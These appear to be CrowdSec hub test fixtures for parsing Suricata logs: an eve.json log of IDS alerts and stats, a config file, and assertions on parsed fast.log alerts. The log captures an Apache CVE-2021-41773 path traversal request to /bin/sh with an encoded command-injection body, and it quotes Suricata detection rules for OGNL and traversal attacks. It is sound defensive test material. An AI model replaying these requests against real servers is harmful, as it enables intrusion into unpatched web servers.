hub1/.tests/suricata-logs-evelog/scenario.assert000066400000000000000000000000001437532772500222240ustar00rootroot00000000000000hub1/.tests/suricata-logs-evelog/suricata-logs-evelog.log000066400000000000000000000457071437532772500237640ustar00rootroot00000000000000{"timestamp":"2022-07-10T23:50:05.533101+0000","flow_id":1258832998001901,"in_iface":"bond0","event_type":"alert","src_ip":"1.2.3.4","src_port":52812,"dest_ip":"127.0.0.1","dest_port":80,"proto":"TCP","metadata":{"flowbits":["ET.formdata","http.dottedquadhost"]},"community_id":"xx","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2024468,"rev":3,"signature":"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)","category":"Attempted User Privilege Gain","severity":1,"metadata":{"affected_product":["Apache_Struts2"],"attack_target":["Web_Server"],"created_at":["2017_07_14"],"deployment":["Datacenter"],"former_category":["WEB_SPECIFIC_APPS"],"performance_impact":["Low"],"signature_severity":["Major"],"updated_at":["2020_08_10"]},"rule":"alert http any any -> $HTTP_SERVERS any (msg:\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\"; flow:established,to_server; http.method; content:\"POST\"; nocase; http.request_body; content:\"multipart\"; content:\"form-data\"; distance:1; within:11; content:\"ognl.OgnlContext\"; distance:1; fast_pattern; content:\"DEFAULT_MEMBER_ACCESS\"; distance:1; within:23; content:\"java.lang.ProcessBuilder\"; distance:1; content:\".start\"; distance:1; reference:url,securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/; reference:cve,2017-9791; classtype:attempted-user; sid:2024468; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_07_14, deployment Datacenter, former_category WEB_SPECIFIC_APPS, performance_impact Low, signature_severity Major, updated_at 2020_08_10;)"},"files":[{"filename":"%{0b","sid":[],"gaps":false,"state":"CLOSED","stored":false,"size":1,"tx_id":0}],"app_proto":"http","payload_printable":"POST /ind\n","stream":1,"packet":"xxx","packet_info":{"linktype":1}} {"timestamp":"2022-07-10T23:52:31.097119+0000","flow_id":836311304881252,"in_iface":"bond0","event_type":"alert","src_ip":"1.2.3.5","src_port":53114,"dest_ip":"127.0.0.1","dest_port":80,"proto":"TCP","metadata":{"flowbits":["min.gethttp","http.dottedquadhost"]},"community_id":"xx","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2843816,"rev":1,"signature":"ETPRO HUNTING Generic Inbound URI Directory Traversal","category":"Potentially Bad Traffic","severity":2,"metadata":{"created_at":["2020_08_04"],"deployment":["Perimeter"],"former_category":["HUNTING"],"performance_impact":["Moderate"],"signature_severity":["Informational"],"updated_at":["2020_08_04"]},"rule":"alert http any any -> [$HTTP_SERVERS,$HOME_NET] any (msg:\"ETPRO HUNTING Generic Inbound URI Directory Traversal\"; flow:established,to_server; http.uri; content:\"=../\"; fast_pattern; classtype:bad-unknown; sid:2843816; rev:1; metadata:created_at 2020_08_04, deployment Perimeter, former_category HUNTING, performance_impact Moderate, signature_severity Informational, updated_at 2020_08_04;)"},"app_proto":"http","payload_printable":"GET /ind.","stream":1,"packet":"xxx","packet_info":{"linktype":1}} {"timestamp":"2022-07-11T05:52:18.378379+0000","flow_id":883709815679084,"in_iface":"eth0","event_type":"flow","src_ip":"1.2.3.6","src_port":56814,"dest_ip":"127.0.0.1","dest_port":2352,"proto":"TCP","flow":{"pkts_toserver":2,"pkts_toclient":1,"bytes_toserver":108,"bytes_toclient":54,"start":"2022-07-11T05:48:21.714860+0000","end":"2022-07-11T05:48:21.733121+0000","age":0,"state":"closed","reason":"timeout","alerted":false},"tcp":{"tcp_flags":"16","tcp_flags_ts":"06","tcp_flags_tc":"14","syn":true,"rst":true,"ack":true,"state":"closed"}} {"timestamp":"2022-07-11T05:53:51.912203+0000","event_type":"stats","stats":{"uptime":510552,"capture":{"kernel_packets":373404,"kernel_drops":0,"errors":0},"decoder":{"pkts":373404,"bytes":75476420,"invalid":0,"ipv4":334023,"ipv6":141,"ethernet":373404,"chdlc":0,"raw":0,"null":0,"sll":0,"tcp":244417,"udp":86866,"sctp":0,"icmpv4":2740,"icmpv6":141,"ppp":0,"pppoe":0,"geneve":0,"gre":0,"vlan":0,"vlan_qinq":0,"vxlan":0,"vntag":0,"ieee8021ah":0,"teredo":0,"ipv4_in_ipv6":0,"ipv6_in_ipv6":0,"mpls":0,"avg_pkt_size":202,"max_pkt_size":1514,"max_mac_addrs_src":0,"max_mac_addrs_dst":0,"erspan":0,"event":{"ipv4":{"pkt_too_small":0,"hlen_too_small":0,"iplen_smaller_than_hlen":0,"trunc_pkt":0,"opt_invalid":0,"opt_invalid_len":0,"opt_malformed":0,"opt_pad_required":0,"opt_eol_required":0,"opt_duplicate":0,"opt_unknown":0,"wrong_ip_version":0,"icmpv6":0,"frag_pkt_too_large":0,"frag_overlap":0,"frag_ignored":0},"icmpv4":{"pkt_too_small":0,"unknown_type":0,"unknown_code":0,"ipv4_trunc_pkt":0,"ipv4_unknown_ver":0},"icmpv6":{"unknown_type":0,"unknown_code":0,"pkt_too_small":0,"ipv6_unknown_version":0,"ipv6_trunc_pkt":0,"mld_message_with_invalid_hl":0,"unassigned_type":0,"experimentation_type":0},"ipv6":{"pkt_too_small":0,"trunc_pkt":0,"trunc_exthdr":0,"exthdr_dupl_fh":0,"exthdr_useless_fh":0,"exthdr_dupl_rh":0,"exthdr_dupl_hh":0,"exthdr_dupl_dh":0,"exthdr_dupl_ah":0,"exthdr_dupl_eh":0,"exthdr_invalid_optlen":0,"wrong_ip_version":0,"exthdr_ah_res_not_null":0,"hopopts_unknown_opt":0,"hopopts_only_padding":0,"dstopts_unknown_opt":0,"dstopts_only_padding":0,"rh_type_0":0,"zero_len_padn":0,"fh_non_zero_reserved_field":0,"data_after_none_header":0,"unknown_next_header":0,"icmpv4":0,"frag_pkt_too_large":0,"frag_overlap":0,"frag_invalid_length":0,"frag_ignored":0,"ipv4_in_ipv6_too_small":0,"ipv4_in_ipv6_wrong_version":0,"ipv6_in_ipv6_too_small":0,"ipv6_in_ipv6_wrong_version":0},"tcp":{"pkt_too_small":0,"hlen_too_small":0,"invalid_optlen":0,"opt_invalid_len":0,"opt_duplicate":0},"udp":{"pkt_too_small":0,"hlen_too_small":0,"hlen_invalid":0},"sll":{"pkt_too_small":0},"ethernet":{"pkt_too_small":0},"ppp":{"pkt_too_small":0,"vju_pkt_too_small":0,"ip4_pkt_too_small":0,"ip6_pkt_too_small":0,"wrong_type":0,"unsup_proto":0},"pppoe":{"pkt_too_small":0,"wrong_code":0,"malformed_tags":0},"gre":{"pkt_too_small":0,"wrong_version":0,"version0_recur":0,"version0_flags":0,"version0_hdr_too_big":0,"version0_malformed_sre_hdr":0,"version1_chksum":0,"version1_route":0,"version1_ssr":0,"version1_recur":0,"version1_flags":0,"version1_no_key":0,"version1_wrong_protocol":0,"version1_malformed_sre_hdr":0,"version1_hdr_too_big":0},"vlan":{"header_too_small":0,"unknown_type":0,"too_many_layers":0},"ieee8021ah":{"header_too_small":0},"vntag":{"header_too_small":0,"unknown_type":0},"ipraw":{"invalid_ip_version":0},"ltnull":{"pkt_too_small":0,"unsupported_type":0},"sctp":{"pkt_too_small":0},"mpls":{"header_too_small":0,"pkt_too_small":0,"bad_label_router_alert":0,"bad_label_implicit_null":0,"bad_label_reserved":0,"unknown_payload_type":0},"vxlan":{"unknown_payload_type":0},"geneve":{"unknown_payload_type":0},"erspan":{"header_too_small":0,"unsupported_version":0,"too_many_vlan_layers":0},"dce":{"pkt_too_small":0},"chdlc":{"pkt_too_small":0}},"too_many_layers":0},"flow":{"memcap":0,"tcp":59557,"udp":44825,"icmpv4":0,"icmpv6":141,"tcp_reuse":3,"get_used":0,"get_used_eval":0,"get_used_eval_reject":0,"get_used_eval_busy":0,"get_used_failed":0,"wrk":{"spare_sync_avg":100,"spare_sync":1038,"spare_sync_incomplete":0,"spare_sync_empty":0,"flows_evicted_needs_work":750,"flows_evicted_pkt_inject":1319,"flows_evicted":101,"flows_injected":749},"mgr":{"full_hash_pass":2128,"closed_pruned":0,"new_pruned":0,"est_pruned":0,"bypassed_pruned":0,"rows_maxlen":3,"flows_checked":162128,"flows_notimeout":57784,"flows_timeout":104344,"flows_timeout_inuse":0,"flows_evicted":104357,"flows_evicted_needs_work":749},"spare":9808,"emerg_mode_entered":0,"emerg_mode_over":0,"memuse":7474304},"defrag":{"ipv4":{"fragments":0,"reassembled":0,"timeouts":0},"ipv6":{"fragments":0,"reassembled":0,"timeouts":0},"max_frag_hits":0},"flow_bypassed":{"local_pkts":0,"local_bytes":0,"local_capture_pkts":0,"local_capture_bytes":0,"closed":0,"pkts":0,"bytes":0},"tcp":{"sessions":58614,"ssn_memcap_drop":0,"pseudo":0,"pseudo_failed":0,"invalid_checksum":253,"no_flow":0,"syn":59963,"synack":8969,"rst":79692,"midstream_pickups":0,"pkt_on_wrong_thread":0,"segment_memcap_drop":0,"stream_depth_reached":3,"reassembly_gap":0,"overlap":106,"overlap_diff_data":0,"insert_data_normal_fail":0,"insert_data_overlap_fail":0,"insert_list_fail":0,"memuse":1212416,"reassembly_memuse":196608},"detect":{"engines":[{"id":0,"last_reload":"2022-07-05T08:03:10.331430+0000","rules_loaded":25206,"rules_failed":24}],"alert":2476},"app_layer":{"flow":{"http":1361,"ftp":0,"smtp":0,"tls":82,"ssh":920,"imap":0,"smb":0,"dcerpc_tcp":0,"dns_tcp":0,"nfs_tcp":0,"ntp":41804,"ftp-data":0,"tftp":16,"ikev2":0,"krb5_tcp":0,"dhcp":284,"snmp":82,"sip":294,"rfb":0,"mqtt":0,"rdp":0,"failed_tcp":0,"dcerpc_udp":0,"dns_udp":292,"nfs_udp":0,"krb5_udp":0,"failed_udp":2053},"tx":{"http":1444,"ftp":0,"smtp":0,"tls":0,"ssh":0,"imap":0,"smb":0,"dcerpc_tcp":0,"dns_tcp":0,"nfs_tcp":0,"ntp":41818,"ftp-data":0,"tftp":16,"ikev2":0,"krb5_tcp":0,"dhcp":568,"snmp":86,"sip":294,"rfb":0,"mqtt":0,"rdp":0,"dcerpc_udp":0,"dns_udp":507,"nfs_udp":0,"krb5_udp":0},"expectations":0},"http":{"memuse":0,"memcap":0},"ftp":{"memuse":0,"memcap":0},"file_store":{"open_files":0}}} {"timestamp":"2022-07-11T06:09:52.602489+0000","flow_id":1684596746908921,"in_iface":"eth0","event_type":"alert","src_ip":"1.2.3.7","src_port":36288,"dest_ip":"127.0.0.1","dest_port":80,"proto":"TCP","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2034125,"rev":4,"signature":"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Apache_HTTP_server"],"attack_target":["Web_Server"],"created_at":["2021_10_05"],"cve":["CVE_2021_41773"],"deployment":["Internet","Perimeter"],"former_category":["EXPLOIT"],"performance_impact":["Low"],"signature_severity":["Major"],"updated_at":["2022_04_18"]}},"http":{"hostname":"34.245.178.108","http_port":80,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh","http_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36","http_content_type":"text/html","http_method":"POST","protocol":"HTTP/1.1","status":400,"length":166,"http_request_body":"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt","http_response_body":"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg=="},"files":[{"filename":"/bin/sh","sid":[],"gaps":false,"state":"CLOSED","stored":false,"size":33,"tx_id":0}],"app_proto":"http","flow":{"pkts_toserver":4,"pkts_toclient":4,"bytes_toserver":623,"bytes_toclient":599,"start":"2022-07-11T06:09:52.488697+0000"},"payload":"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt","stream":1} {"timestamp":"2022-07-12T05:52:18.378379-0000","flow_id":883709815679084,"in_iface":"eth0","event_type":"flow","src_ip":"1.2.3.6","src_port":56814,"dest_ip":"127.0.0.1","dest_port":2352,"proto":"TCP","flow":{"pkts_toserver":2,"pkts_toclient":1,"bytes_toserver":108,"bytes_toclient":54,"start":"2022-07-12T05:48:21.714860-0000","end":"2022-07-11T05:48:21.733121+0000","age":0,"state":"closed","reason":"timeout","alerted":false},"tcp":{"tcp_flags":"16","tcp_flags_ts":"06","tcp_flags_tc":"14","syn":true,"rst":true,"ack":true,"state":"closed"}} {"timestamp":"2022-07-12T05:53:51.912203-0000","event_type":"stats","stats":{"uptime":510552,"capture":{"kernel_packets":373404,"kernel_drops":0,"errors":0},"decoder":{"pkts":373404,"bytes":75476420,"invalid":0,"ipv4":334023,"ipv6":141,"ethernet":373404,"chdlc":0,"raw":0,"null":0,"sll":0,"tcp":244417,"udp":86866,"sctp":0,"icmpv4":2740,"icmpv6":141,"ppp":0,"pppoe":0,"geneve":0,"gre":0,"vlan":0,"vlan_qinq":0,"vxlan":0,"vntag":0,"ieee8021ah":0,"teredo":0,"ipv4_in_ipv6":0,"ipv6_in_ipv6":0,"mpls":0,"avg_pkt_size":202,"max_pkt_size":1514,"max_mac_addrs_src":0,"max_mac_addrs_dst":0,"erspan":0,"event":{"ipv4":{"pkt_too_small":0,"hlen_too_small":0,"iplen_smaller_than_hlen":0,"trunc_pkt":0,"opt_invalid":0,"opt_invalid_len":0,"opt_malformed":0,"opt_pad_required":0,"opt_eol_required":0,"opt_duplicate":0,"opt_unknown":0,"wrong_ip_version":0,"icmpv6":0,"frag_pkt_too_large":0,"frag_overlap":0,"frag_ignored":0},"icmpv4":{"pkt_too_small":0,"unknown_type":0,"unknown_code":0,"ipv4_trunc_pkt":0,"ipv4_unknown_ver":0},"icmpv6":{"unknown_type":0,"unknown_code":0,"pkt_too_small":0,"ipv6_unknown_version":0,"ipv6_trunc_pkt":0,"mld_message_with_invalid_hl":0,"unassigned_type":0,"experimentation_type":0},"ipv6":{"pkt_too_small":0,"trunc_pkt":0,"trunc_exthdr":0,"exthdr_dupl_fh":0,"exthdr_useless_fh":0,"exthdr_dupl_rh":0,"exthdr_dupl_hh":0,"exthdr_dupl_dh":0,"exthdr_dupl_ah":0,"exthdr_dupl_eh":0,"exthdr_invalid_optlen":0,"wrong_ip_version":0,"exthdr_ah_res_not_null":0,"hopopts_unknown_opt":0,"hopopts_only_padding":0,"dstopts_unknown_opt":0,"dstopts_only_padding":0,"rh_type_0":0,"zero_len_padn":0,"fh_non_zero_reserved_field":0,"data_after_none_header":0,"unknown_next_header":0,"icmpv4":0,"frag_pkt_too_large":0,"frag_overlap":0,"frag_invalid_length":0,"frag_ignored":0,"ipv4_in_ipv6_too_small":0,"ipv4_in_ipv6_wrong_version":0,"ipv6_in_ipv6_too_small":0,"ipv6_in_ipv6_wrong_version":0},"tcp":{"pkt_too_small":0,"hlen_too_small":0,"invalid_optlen":0,"opt_invalid_len":0,"opt_duplicate":0},"udp":{"pkt_too_small":0,"hlen_too_small":0,"hlen_invalid":0},"sll":{"pkt_too_small":0},"ethernet":{"pkt_too_small":0},"ppp":{"pkt_too_small":0,"vju_pkt_too_small":0,"ip4_pkt_too_small":0,"ip6_pkt_too_small":0,"wrong_type":0,"unsup_proto":0},"pppoe":{"pkt_too_small":0,"wrong_code":0,"malformed_tags":0},"gre":{"pkt_too_small":0,"wrong_version":0,"version0_recur":0,"version0_flags":0,"version0_hdr_too_big":0,"version0_malformed_sre_hdr":0,"version1_chksum":0,"version1_route":0,"version1_ssr":0,"version1_recur":0,"version1_flags":0,"version1_no_key":0,"version1_wrong_protocol":0,"version1_malformed_sre_hdr":0,"version1_hdr_too_big":0},"vlan":{"header_too_small":0,"unknown_type":0,"too_many_layers":0},"ieee8021ah":{"header_too_small":0},"vntag":{"header_too_small":0,"unknown_type":0},"ipraw":{"invalid_ip_version":0},"ltnull":{"pkt_too_small":0,"unsupported_type":0},"sctp":{"pkt_too_small":0},"mpls":{"header_too_small":0,"pkt_too_small":0,"bad_label_router_alert":0,"bad_label_implicit_null":0,"bad_label_reserved":0,"unknown_payload_type":0},"vxlan":{"unknown_payload_type":0},"geneve":{"unknown_payload_type":0},"erspan":{"header_too_small":0,"unsupported_version":0,"too_many_vlan_layers":0},"dce":{"pkt_too_small":0},"chdlc":{"pkt_too_small":0}},"too_many_layers":0},"flow":{"memcap":0,"tcp":59557,"udp":44825,"icmpv4":0,"icmpv6":141,"tcp_reuse":3,"get_used":0,"get_used_eval":0,"get_used_eval_reject":0,"get_used_eval_busy":0,"get_used_failed":0,"wrk":{"spare_sync_avg":100,"spare_sync":1038,"spare_sync_incomplete":0,"spare_sync_empty":0,"flows_evicted_needs_work":750,"flows_evicted_pkt_inject":1319,"flows_evicted":101,"flows_injected":749},"mgr":{"full_hash_pass":2128,"closed_pruned":0,"new_pruned":0,"est_pruned":0,"bypassed_pruned":0,"rows_maxlen":3,"flows_checked":162128,"flows_notimeout":57784,"flows_timeout":104344,"flows_timeout_inuse":0,"flows_evicted":104357,"flows_evicted_needs_work":749},"spare":9808,"emerg_mode_entered":0,"emerg_mode_over":0,"memuse":7474304},"defrag":{"ipv4":{"fragments":0,"reassembled":0,"timeouts":0},"ipv6":{"fragments":0,"reassembled":0,"timeouts":0},"max_frag_hits":0},"flow_bypassed":{"local_pkts":0,"local_bytes":0,"local_capture_pkts":0,"local_capture_bytes":0,"closed":0,"pkts":0,"bytes":0},"tcp":{"sessions":58614,"ssn_memcap_drop":0,"pseudo":0,"pseudo_failed":0,"invalid_checksum":253,"no_flow":0,"syn":59963,"synack":8969,"rst":79692,"midstream_pickups":0,"pkt_on_wrong_thread":0,"segment_memcap_drop":0,"stream_depth_reached":3,"reassembly_gap":0,"overlap":106,"overlap_diff_data":0,"insert_data_normal_fail":0,"insert_data_overlap_fail":0,"insert_list_fail":0,"memuse":1212416,"reassembly_memuse":196608},"detect":{"engines":[{"id":0,"last_reload":"2022-07-05T08:03:10.331430+0000","rules_loaded":25206,"rules_failed":24}],"alert":2476},"app_layer":{"flow":{"http":1361,"ftp":0,"smtp":0,"tls":82,"ssh":920,"imap":0,"smb":0,"dcerpc_tcp":0,"dns_tcp":0,"nfs_tcp":0,"ntp":41804,"ftp-data":0,"tftp":16,"ikev2":0,"krb5_tcp":0,"dhcp":284,"snmp":82,"sip":294,"rfb":0,"mqtt":0,"rdp":0,"failed_tcp":0,"dcerpc_udp":0,"dns_udp":292,"nfs_udp":0,"krb5_udp":0,"failed_udp":2053},"tx":{"http":1444,"ftp":0,"smtp":0,"tls":0,"ssh":0,"imap":0,"smb":0,"dcerpc_tcp":0,"dns_tcp":0,"nfs_tcp":0,"ntp":41818,"ftp-data":0,"tftp":16,"ikev2":0,"krb5_tcp":0,"dhcp":568,"snmp":86,"sip":294,"rfb":0,"mqtt":0,"rdp":0,"dcerpc_udp":0,"dns_udp":507,"nfs_udp":0,"krb5_udp":0},"expectations":0},"http":{"memuse":0,"memcap":0},"ftp":{"memuse":0,"memcap":0},"file_store":{"open_files":0}}} {"timestamp":"2022-07-12T06:09:52.602489-0000","flow_id":1684596746908921,"in_iface":"eth0","event_type":"alert","src_ip":"1.2.3.7","src_port":36288,"dest_ip":"127.0.0.1","dest_port":80,"proto":"TCP","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2034125,"rev":4,"signature":"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Apache_HTTP_server"],"attack_target":["Web_Server"],"created_at":["2021_10_05"],"cve":["CVE_2021_41773"],"deployment":["Internet","Perimeter"],"former_category":["EXPLOIT"],"performance_impact":["Low"],"signature_severity":["Major"],"updated_at":["2022_04_18"]}},"http":{"hostname":"34.245.178.108","http_port":80,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh","http_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36","http_content_type":"text/html","http_method":"POST","protocol":"HTTP/1.1","status":400,"length":166,"http_request_body":"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt","http_response_body":"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg=="},"files":[{"filename":"/bin/sh","sid":[],"gaps":false,"state":"CLOSED","stored":false,"size":33,"tx_id":0}],"app_proto":"http","flow":{"pkts_toserver":4,"pkts_toclient":4,"bytes_toserver":623,"bytes_toclient":599,"start":"2022-07-12T06:09:52.488697-0000"},"payload":"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt","stream":1}hub1/.tests/suricata-logs-fastlog/000077500000000000000000000000001437532772500173665ustar00rootroot00000000000000hub1/.tests/suricata-logs-fastlog/config.yaml000066400000000000000000000004271437532772500215220ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/suricata-logs.yaml scenarios: - "" postoverflows: - "" log_file: suricata-logs-fastlog.log log_type: suricata-fastlogs labels: {} ignore_parsers: false override_statics: [] hub1/.tests/suricata-logs-fastlog/parser.assert000066400000000000000000000633331437532772500221150ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 4 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "07/11/2022-10:29:01.860293 [**] [1:2200074:2] SURICATA TCPv4 invalid checksum [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 2.57.122.209:28487 -> 172.31.18.55:80" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "suricata-fastlogs" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "07/11/2022-10:29:32.251216 [**] [1:2008578:4] ET SCAN Sipvicious Scan [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 89.248.163.216:5116 -> 172.31.18.55:5060" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "suricata-fastlogs" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "suricata-fastlogs" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "07/11/2022-08:36:12.345430 [**] [1:2034567:1] ET HUNTING curl User-Agent to Dotted Quad [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.31.18.55:57194 -> 169.254.169.254:80" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "07/11/2022-06:09:52.602489 [**] [1:2034125:4] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2 [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 185.7.214.104:36288 -> 172.31.18.55:80" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "suricata-fastlogs" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 4 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false len(results["s01-parse"]["crowdsecurity/suricata-fastlogs"]) == 4 results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Success == true results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_priority"] == "3" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["source_port"] == "28487" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["rule_id"] == "2200074" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_timestamp"] == "07/11/2022 10:29:01.860293" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["program"] == "suricata-fastlogs" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["source_ip"] == "2.57.122.209" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_alert_signature"] == "SURICATA TCPv4 invalid checksum" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_classification"] == "Generic Protocol Command Decode" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["date"] == "07/11/2022" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["message"] == "07/11/2022-10:29:01.860293 [**] [1:2200074:2] SURICATA TCPv4 invalid checksum [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 2.57.122.209:28487 -> 172.31.18.55:80" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["suricata_alert_signature_rev"] == "2" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["time"] == "10:29:01.860293" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Parsed["dest_ip"] == "172.31.18.55" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["suricata_alert_signature_id"] == "2200074" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["datasource_path"] == "suricata-logs-fastlog.log" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Evt.Meta["source_ip"] == "2.57.122.209" 